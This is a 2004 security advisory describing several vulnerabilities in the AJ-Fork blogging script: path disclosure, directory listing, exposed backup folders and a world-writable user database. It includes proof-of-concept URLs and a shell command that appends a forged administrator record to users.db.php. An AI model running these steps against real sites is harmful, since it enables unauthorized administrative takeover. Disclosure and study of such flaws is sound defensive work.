ECHO_ADV_07$2004

------------------------------------------------------------------------
---

Multiple Vulnerabilities in AJ-Fork

------------------------------------------------------------------------
---

Author: y3dips

Date: September, 23th 2004

Location: Indonesia, Jakarta

Web: http://echo.or.id/adv/adv07-y3dips-2004.txt

------------------------------------------------------------------------
---

Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

AJ-Fork is, as the name implies - a fork. Based on the CuteNews 1.3.1 core,

the aim of the project is to improve what can be improved, and extend what

can be extended without adding too much bloat (in fierce opposition to the

mainstream blogging/light publishing tools of today). The project aims to

be backwards-compatible with CuteNews in what areas are sensible.

version : AJ-Fork v. 167

web : http://appelsinjuice.org

------------------------------------------------------------------------
---

Vulnerabilities:

~~~~~~~~~~~~~~~~

A. Full path disclosure:

Almost all Script files in plugins/ Directories are not protected against

direct access.

A remote user can access the file to cause the system to display an error

message that indicates the installation path. The resulting error message

will disclose potentially sensitive installation path information to the

remote attacker.

vulnerable files are :

auto-acronyms.php, auto-archive.php, count-article-views.php, kses.php,

custom-quick-tags.php, disable-all-comments.php , easy-date-format.php,

enable-disable-comments.php, filter-by-author.php, format-switcher.php,

long-to-short.php, prospective-posting.php, sort-by-xfield.php,

POC :

- auto-acronyms.php files

http://localhost/ajfork/plugins/auto-acronyms.php

Fatal error: Call to undefined function: add_filter() in/var/www/html/ajfork

/plugins/auto-acronyms.php on line 13

- auto-archive.php files

http://localhost/ajfork/plugins/auto-archive.php

Fatal error: Cannot instantiate non-existent class: pluginsettings in

/var/www/html/ajfork/plugins/auto-archive.php on line 42

also in shows.inc.php files in inc/ directories

http://localhost/ajfork/inc/shows.inc.php

Warning: main(/inc/plugins.php): failed to open stream: No such file or

directory in /var/www/html/ajfork/inc/shows.inc.php on line 4

Warning: main(): Failed opening '/inc/plugins.php' for inclusion

(include_path='.:/usr/share/pear')

in /var/www/html/ajfork/inc/shows.inc.php on line 4

Fatal error: Call to undefined function: loadactiveplugins()

in /var/www/html/ajfork/inc/shows.inc.php on line 5

B. Directory listing to All directory

All the directory such as data ,inc ,plugins, skins, tools are not protected

again direct access, a remote user that access the directories could see the

list of file or script, and able to download some file. (eg .pl , .mdu )

POC :

http://localhost/ajfork/inc/main.mdu

C. Access to backup directory

If a remote user point out the url in the browser to

http://localhost/ajfork/data/backup/ , then it get an warning message :

You can not view the content of this directory !!!

but if u go straigt to backup directories (the backup is in directories form)

POC :

the name of backup is : dudul

then go to : http://localhost/ajfork/data/backup/dudul

after that a remote user will see the listing of files in 'dudul' directories

Name Last modified Size Description

Parent Directory -

archives/ 23-Sep-2004 02:32 -

comments.txt 23-Sep-2004 02:32 14

news.txt 23-Sep-2004 02:32 2.1K

D. Access to Database file are allowed (Write, Read, Execute)

Ajfork use file "users.db.php" as database file to archive user information

( surname, id, *password ) , and the worst thing is the install instruction

This is the readme file, showing the instruction, which is can be reach at

http://[$SITE]/ajfork/readme.htm

--------------------------------readme.htm------------------------------
---

Installing

Installing CuteNews AJ-Fork is really quite simple, but to make it even more

simple for you, this step-by-step guide has been written:

1. ---

5. Use your FTP client to CHMOD:

777 (755 might work): all files and folders in the "data/ folder"

644 (or just 777): index.php

This will enable the script to read/write from/to its datafiles.

7. ---

---------------------------------- eof ---------------------------------

so what is the problem ?

the real problem is ? the "users.db.php" are in the data/ folder , it means

that other user/nobody account can write to that file. then [attacker] could

inject the file with "known" database format.

POC :

dudul : ajfork user / admin [1]

y3dips : [ATTACKER] (user with the same host)

---------------------------------users.db.php---------------------------
--

<?PHP die("You don't have access to open this file."); ?>

1095859199|1|dudul|c3cf519bdad87c229a203ae5a42a23f2|dudul|dudul (at) dudul (dot) co [email concealed]
m|1|0||1096478833||

---------------------------------- EOF ----------------------------------

Scenario :

^ [y3dips@ESC data]$ pwd

/var/www/html/ajfork/data

^ [y3dips@ESC data]$ ls -la users.db.php

-rwxrwxrwx 1 dudul dudul 433 Sep 30 00:30 users.db.php

^ [y3dips@ESC data]$ echo "1096482670|1|y3dips|fb8ce4bfe2d0cafce47202961ecc64b3|y3dips|y3dips@gant
eng.com|0|0||||" >> users.db.php

let see the file "users.db.php"

---------------------------------users.db.php---------------------------
--

<?PHP die("You don't have access to open this file."); ?>

1095859199|1|dudul|c3cf519bdad87c229a203ae5a42a23f2|dudul|dudul (at) dudul (dot) co [email concealed]
m|1|0||1096478833||

1096482670|1|y3dips|fb8ce4bfe2d0cafce47202961ecc64b3|y3dips|y3dips@gante
ng.com|0|0||||

------------------------------------- EOF --------------------------------

now, just go to the site and manage the site with y3dips account (administrator)

not only that , you can only read the file and grab the info to gain the

encrypted password, but it is easier to insert :)

*notice : The sad thing, ive change the file (users.db.php) permission to 755 ,

but i found error in the top of the page.

Warning: fopen(./data/users.db.php): failed to open stream:

Permission denied in /var/www/html/ajfork/index.php on line 146 .......

that because browser (acctually with nobody access) can't write to the file

, coz the users.db.php used to updated the info also you cant do any change

to user setting (add or edit user )

------------------------------------------------------------------------
--

The fix:

~~~~~~~~

Vendor allready contacted but still no response

------------------------------------------------------------------------
---

Shoutz:

~~~~~~~

~ m0by, the_day, comex, z3r0byt3, K-159, c-a-s-e, S`to @T echo/staff

~ yudhax, biatch-x, lieur-euy, yadi_syahid

~ newbie_hacker (at) yahoogroups (dot) com [email concealed] ,

~ #e-c-h-o & #aikmel @DALNET

------------------------------------------------------------------------
---

Contact:

~~~~~~~~

y3dips || echo|staff || y3dips(at)echo(dot)or(dot)id

Homepage: http://y3dips.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

[ reply ]